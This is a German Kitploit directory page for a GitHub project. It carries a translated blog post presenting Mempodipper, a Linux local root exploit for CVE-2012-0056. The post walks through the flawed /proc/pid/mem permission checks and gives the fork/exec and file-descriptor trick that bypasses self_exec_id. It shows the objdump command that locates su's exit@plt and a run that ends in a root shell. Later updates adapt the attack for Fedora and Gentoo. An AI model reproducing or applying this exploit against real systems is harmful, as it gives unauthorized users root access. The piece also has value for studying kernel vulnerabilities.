Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2012-0056 — linux 提权 | Kitploit
Tools/GitHubGitHub/pythonone/cve-2012-0056
Privilege EscalationVulnerability AnalysisExploitationShellcodeLearning & EducationBinary Exploitation
GitHubpythonone/cve-2012-0056

CVE-2012-0056

linux 提权

Repository anzeigen
16vor 10 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Linux Lokale Privilegienausweitung via SUID /proc/pid/mem Write

Mempodipper

Vorstellung von Mempodipper, einem Exploit für CVE-2012-0056. /proc/pid/mem ist eine Schnittstelle zum direkten Lesen und Schreiben von Prozessspeicher, indem man mit denselben Adressen wie der virtuelle Adressraum des Prozesses sucht. In 2.6.39 wurden die Schutzmaßnahmen gegen unbefugten Zugriff auf /proc/pid/mem als ausreichend erachtet, und daher wurde die vorherige #ifdef-Direktive, die Schreibunterstützung für das Schreiben in beliebigen Prozessspeicher verhinderte, entfernt. Jeder mit den richtigen Berechtigungen konnte in Prozessspeicher schreiben. Es stellte sich natürlich heraus, dass die Berechtigungsprüfung schlecht gemacht wurde. Das bedeutet, dass alle Linux-Kernel >=2.6.39 anfällig sind, bis zum Fix-Commit vor ein paar Tagen. Lassen Sie uns den alten Kernel-Code Schritt für Schritt durchgehen und herausfinden, was das Problem ist.

Wenn /proc/pid/mem geöffnet wird, wird dieser Kernel-Code aufgerufen:

root@kitploit:~
static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

Beim Öffnen gibt es keine Einschränkungen; jeder kann den /proc/pid/mem Dateideskriptor für jeden Prozess öffnen (vorbehaltlich der üblichen VFS-Einschränkungen). Es merkt sich einfach die self_exec_id des ursprünglichen Prozesses, mit der es geöffnet wurde, und speichert diese für spätere Überprüfungen während Lese- und Schreibvorgängen.

Schreibvorgänge (und Lesevorgänge) unterliegen jedoch Berechtigungsprüfungen. Schauen wir uns die Schreibfunktion an:

root@kitploit:~
static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{

/* unimportant code removed for blog post */	

	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
	
/* unimportant code removed for blog post */

	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;

/* unimportant code removed for blog post */	

	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;

/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */	

Es gibt also zwei relevante Prüfungen, um unbefugte Schreibvorgänge zu verhindern: check_mem_permission und self_exec_id. Betrachten wir zuerst die erste und dann die zweite.

Der Code von check_mem_permission ruft einfach __check_mem_permission auf, also hier der Code davon:

root@kitploit:~
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;

	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);

	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;

	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}

	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

Es gibt zwei Möglichkeiten, wie der Speicherschreibvorgang autorisiert wird. Entweder task == current, was bedeutet, dass der zu beschreibende Prozess der schreibende Prozess ist, oder current (der schreibende Prozess) hat esoterische ptrace-Ebene-Berechtigungen, um mit task (dem zu beschreibenden Prozess) zu spielen. Vielleicht denken Sie, Sie könnten den ptrace-Code austricksen? Es ist verlockend. Aber ich weiß nicht. Lassen Sie uns stattdessen herausfinden, wie wir einen Prozess dazu bringen können, beliebigen Speicher in sich selbst zu schreiben, sodass task == current gilt.

Nun wollen wir natürlich in den Speicher von SUID-Prozessen schreiben, da wir dann root werden können. Schauen Sie sich das an:

root@kitploit:~
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su gibt einen beliebigen Text auf stderr aus, mit dem Präfix "Unknown id:". Also können wir einen Dateideskriptor zu /proc/self/mem öffnen, mit lseek an die richtige Speicherstelle zum Schreiben springen (dazu später mehr), dup2 verwenden, um stderr und den mem-Deskriptor zu verbinden, und dann exec auf su $shellcode ausführen, um einen Shell-Starter in den Prozessspeicher zu schreiben, und dann haben wir root. Wirklich? Nicht so einfach.

Hier kommt die andere Einschränkung ins Spiel. Nachdem es den Test task == current bestanden hat, prüft es, ob die aktuelle self_exec_id mit der self_exec_id übereinstimmt, mit der der Dateideskriptor geöffnet wurde. Was zur Hölle ist self_exec_id? Es wird nur an wenigen Stellen im Kernel referenziert. Die wichtigste befindet sich innerhalb von exec:

root@kitploit:~
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */

	/* An exec changes our domain. We are no longer part of the thread
	   group */

	current->self_exec_id++;
			
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id wird jedes Mal erhöht, wenn ein Prozess exec ausführt. In diesem Fall funktioniert es also so, dass man den Dateideskriptor nicht in einem nicht-SUID-Prozess öffnen, dup2 durchführen und dann zu einem SUID-Prozess exec kann ... genau das, was wir oben versucht haben. Ziemlich raffinierte Art, unseren Angriff abzuwehren, oder?

Hier ist, wie man es umgeht. Wir erzeugen einen Kindprozess (fork), und innerhalb dieses Kindprozesses führen wir exec auf einen neuen Prozess aus. Der ursprüngliche Kindprozess hat eine self_exec_id gleich der seines Elternprozesses. Wenn wir exec auf einen neuen Prozess ausführen, erhöht sich self_exec_id um eins. Währenddessen führt der Elternprozess selbst exec auf unseren Shellcode-Schreib-su-Prozess aus, sodass seine self_exec_id auf denselben Wert erhöht wird. Was wir also tun: Wir lassen diesen Kindprozess fork und exec auf einen neuen Prozess ausführen, und innerhalb dieses neuen Prozesses öffnen wir einen Dateideskriptor zu /proc/eltern-pid/mem unter Verwendung der PID des Elternprozesses, nicht unseres eigenen Prozesses (wie es vorher der Fall war). Wir können den Dateideskriptor so öffnen, weil es für ein bloßes Öffnen keine Berechtigungsprüfung gibt. Wenn er geöffnet wird, hat sich seine self_exec_id bereits auf den richtigen Wert erhöht, den die self_exec_id des Elternprozesses haben wird, wenn wir exec auf su ausführen. Schließlich übergeben wir unseren geöffneten Dateideskriptor vom Kindprozess zurück an den Elternprozess (unter Verwendung von etwas sehr obskuren Unix-Domain-Socket-Magie), führen unser dup2 durch und exec in su mit dem Shellcode.

Es gibt noch einen Einwand. Wohin schreiben wir? Wir müssen vor dem Schreiben mit lseek an die richtige Speicheradresse springen, und ASLR randomisiert die Adressräume von Prozessen, sodass es unmöglich ist zu wissen, wohin wir schreiben sollen. Sollten wir Zeit aufwenden, um raffiniertere Methoden zu entwickeln, um Prozessspeicher zu lesen und dann eine Suche durchzuführen? Nein. Sehen Sie sich das an:

root@kitploit:~
$ readelf -h /bin/su | grep Type
   Type:                              EXEC (Executable file) 

Das bedeutet, dass su keinen verschiebbaren .text-Abschnitt hat (andernfalls würde es "DYN" statt "EXEC" ausgeben). Es stellt sich heraus, dass su auf der überwältigenden Mehrheit der Distributionen nicht mit PIE kompiliert ist, was ASLR für den .text-Abschnitt der Binary deaktiviert! Also haben wir su klug gewählt. Die Offsets im Speicher sind immer gleich. Um also die richtige Stelle zum Schreiben zu finden, schauen wir uns die Assembler-Anweisungen rund um die Ausgabe der Fehlermeldung "Unknown id: blabla" an.

Die Fehlerzeichenkette wird hier geholt:

root@kitploit:~
  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

Und dann nach stderr geschrieben:

root@kitploit:~
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Schließt das Log:

root@kitploit:~
  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

Und beendet dann das Programm:

root@kitploit:~
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

Wir wollen daher 0x402178 verwenden, das ist die aufgerufene exit-Funktion. Wir können in einem Exploit das Auffinden des exit@plt-Symbols mit einem einfachen Bash-Einzeiler automatisieren:

root@kitploit:~
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

Natürlich wollen wir an 0x402178 minus der Anzahl der Buchstaben im String "Unknown id: " schreiben, sodass unser Shellcode genau an der richtigen Stelle platziert wird.

Der Shellcode sollte einfach und standardmäßig sein. Er setzt uid und gid auf 0 und führt exec in eine Shell aus. Wenn wir clever sein wollen, können wir stderr neu öffnen, indem wir vor dem dup2 des Speicher-Deskriptors auf stderr einen anderen Dateideskriptor wählen, auf den wir stderr dupen, und dann im Shellcode diesen anderen Dateideskriptor zurück auf stderr dupen.

Letztendlich funktioniert der Exploit wie ein Zauber mit absoluter Zuverlässigkeit:

root@kitploit:~
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# 

Sie können sich ein Video davon in Aktion ansehen.

Dank an Dan Rosenberg für seine ständigen Ratschläge und Unterstützung. Ich veröffentliche derzeit keinen Quellcode, da Linus es erst vor kurzem gepatcht hat. Nach einer angemessenen Zeitspanne oder wenn jemand anderes zuerst veröffentlicht, werde ich veröffentlichen. Wenn Sie ein Student sind, der etwas lernen möchte, oder andere legitime Gründe haben, können wir sprechen.

Update: offenbar haben, basierend auf diesem Blogbeitrag, ironischerweise andere Leute Exploits erstellt und veröffentlicht. Also hier ist meiner. Ich habe den Shellcode für 32-Bit und 64-Bit von Hand geschrieben. Viel Spaß!

Update 2: wie sich herausstellt, kompiliert Fedora sein su sehr passend mit PIE, was diesen Angriff unwirksam macht. Sie kompilieren leider nicht alle ihre SUID-Binaries mit PIE, und daher ist dieser Angriff immer noch mit z.B. gpasswd möglich. Der Code dafür befindet sich im "fedora"-Zweig des Git-Repositorys, und eine Videodemonstration ist ebenfalls verfügbar.

Update 3: Gentoo ist klug genug, die Leserechte auf SUID-Binaries zu entfernen, was es unmöglich macht, den exit@plt-Offset mit objdump zu finden. Ich habe einen anderen Weg gefunden, dies zu tun, mit ptrace. Ptrace ermöglicht das Debuggen jedes Programms im Speicher. Bei SUID-Programmen verwirkt ptracing seine Privilegien, aber das ist in Ordnung, da wir lediglich interne Speicherorte finden wollen. Durch Parsen des Opcodes der Binary zum richtigen Zeitpunkt können wir die Zieladresse des nächsten Aufrufs nach der Ausgabe der Fehlermeldung entschlüsseln. Ich habe ein eigenständiges Dienstprogramm erstellt, das den Offset zurückgibt, und es auch in die Haupt-Mempodipper-Quelle integriert.

{Wie immer ist diese Arbeit hier streng akademisch und nicht für den Einsatz außerhalb von Forschung und Bildung bestimmt.}

Tool herunterladen